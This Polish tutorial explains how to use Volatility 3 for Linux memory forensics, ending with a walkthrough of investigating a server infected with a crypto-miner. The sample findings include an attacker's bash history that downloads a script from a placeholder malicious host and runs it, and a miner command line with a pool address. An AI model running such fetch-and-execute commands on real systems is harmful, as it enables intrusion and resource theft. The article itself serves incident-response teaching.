Volatility 3 — analiza zrzutów pamięci Linux
Czym jest Volatility 3?
Volatility 3 to całkowicie przepisana od zera wersja legendarnego frameworka do analizy zrzutów pamięci RAM. Jeśli czytałeś nasz poprzedni artykuł o Volatility, znasz już ideę memory forensics. Volatility 3 realizuje tę samą misję, ale z nowoczesną architekturą, znacznie prostszą obsługą i lepszą wydajnością.
Najważniejsza zmiana: koniec z profilami. W Volatility 2 trzeba było ręcznie dobierać profil pasujący do wersji jądra — co było frustrujące i podatne na błędy. Volatility 3 automatycznie odczytuje struktury danych bezpośrednio z tablic symboli jądra (Symbol Tables), eliminując ten problem.
Co się zmieniło w stosunku do Volatility 2?
| Cecha | Volatility 2 | Volatility 3 |
|---|---|---|
| Język | Python 2/3 | Python 3 (wyłącznie) |
| Profile | Wymagane, ręczne | Automatyczne (Symbol Tables) |
| Polecenie | volatility |
vol (lub vol3) |
| Składnia wtyczek | --profile=X pslist |
linux.pslist (hierarchia) |
| Wydajność | Wolniejszy | Znacznie szybszy |
| Architektura | Monolityczna | Modularna, łatwa do rozbudowy |
Instalacja
Volatility 3 wymaga Pythona 3.7 lub nowszego.
# Pobranie źródeł
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
# Instalacja zależności
pip3 install -r requirements.txt
# Sprawdzenie działania
python3 vol.py -h
Instalacja tablic symboli
Volatility 3 potrzebuje tablic symboli (Symbol Tables) odpowiadających wersji jądra z analizowanego zrzutu. Dla Linuksa można je wygenerować samodzielnie za pomocą narzędzia dwarf2json lub pobrać gotowe ze strony projektu.
# Pobranie gotowych tablic symboli dla Linuksa
# Umieść je w katalogu volatility3/symbols/
ls volatility3/symbols/linux/
Jeśli Volatility 3 nie znajdzie odpowiedniej tablicy automatycznie, poinformuje o tym w komunikacie błędu, podając dokładną wersję jądra, której szuka.
Nowa składnia — najważniejsze wtyczki
W Volatility 3 wtyczki są zorganizowane hierarchicznie według systemu operacyjnego. Dla Linuksa wszystkie zaczynają się od linux.:
Listowanie procesów
# Volatility 2 (stara składnia):
# volatility -f dump.raw --profile=Linux_X pslist
# Volatility 3:
vol -f dump.raw linux.pslist
Drzewo procesów
vol -f dump.raw linux.pstree
Połączenia sieciowe
vol -f dump.raw linux.sockstat
Załadowane moduły jądra
vol -f dump.raw linux.lsmod
Otwarte pliki
vol -f dump.raw linux.lsof
Historia komend bash
vol -f dump.raw linux.bash
Zamontowane systemy plików
vol -f dump.raw linux.mountinfo
Zmienne środowiskowe procesów
vol -f dump.raw linux.envars
Przykład praktyczny: Analiza skompromitowanego serwera
Scenariusz: Twój serwer zachowuje się podejrzanie — obciążenie CPU jest wysokie bez widocznej przyczyny. Udało Ci się wykonać zrzut pamięci za pomocą LiME:
# Wykonanie zrzutu pamięci na działającym systemie
sudo insmod lime-$(uname -r).ko "path=/tmp/dump.raw format=raw"
Teraz analizujemy zrzut:
1. Listowanie procesów:
vol -f /tmp/dump.raw linux.pslist
PID PPID COMM
1 0 systemd
...
4821 4820 kworkerds
4825 4821 kworkerds
Widzimy podejrzany proces kworkerds — nazwa łudząco podobna do legalnego wątku jądra kworker, ale to osobny proces z własnym PID i PPID.
2. Sprawdzenie argumentów uruchomienia:
vol -f /tmp/dump.raw linux.cmdline --pid 4821
PID ARGS
4821 /tmp/kworkerds -o stratum+tcp://pool.minero.cc:5555 -u wallet123
To koparka kryptowalut komunikująca się z pulą wydobywczą.
3. Sprawdzenie połączeń sieciowych:
vol -f /tmp/dump.raw linux.sockstat
Proces kworkerds utrzymuje aktywne połączenie TCP na porcie 5555 do zewnętrznego adresu IP.
4. Sprawdzenie, jak atakujący dostał się do systemu:
vol -f /tmp/dump.raw linux.bash
PID COMM COMMAND
1102 bash wget http://malicious.site/payload.sh -O /tmp/payload.sh
1102 bash chmod +x /tmp/payload.sh
1102 bash /tmp/payload.sh
Historia basha ujawnia, że atakujący pobrał i uruchomił złośliwy skrypt.
Przydatne opcje
-
Filtrowanie po PID: Większość wtyczek akceptuje
--pid, aby zawęzić wyniki do konkretnego procesu:vol -f dump.raw linux.lsof --pid 4821 -
Zrzut pliku binarnego z pamięci: Jeśli chcesz wyciągnąć podejrzany plik binarny do dalszej analizy:
vol -f dump.raw linux.elfs --pid 4821 --dump -
Lista dostępnych wtyczek:
vol -f dump.raw linux --help
Volatility 3 vs narzędzia live
Warto pamiętać, czym analiza zrzutu pamięci różni się od narzędzi działających na żywym systemie:
ps,top,ss— mogą być oszukane przez rootkity, które ukrywają procesy.- Volatility 3 analizuje surową pamięć — rootkit nie jest w stanie ukryć się przed analizą offline.
- Zrzut pamięci jest “zamrożonym” stanem — nic się nie zmieni podczas analizy, w przeciwieństwie do żywego systemu.
Podsumowanie
Volatility 3 to ogromny krok naprzód w stosunku do poprzedniej wersji. Automatyczne rozpoznawanie struktur jądra, czytelna hierarchia wtyczek i lepsza wydajność sprawiają, że analiza pamięci staje się bardziej dostępna. Jeśli dotychczas zniechęcała Cię konieczność walki z profilami w Volatility 2, teraz jest najlepszy moment, aby spróbować ponownie.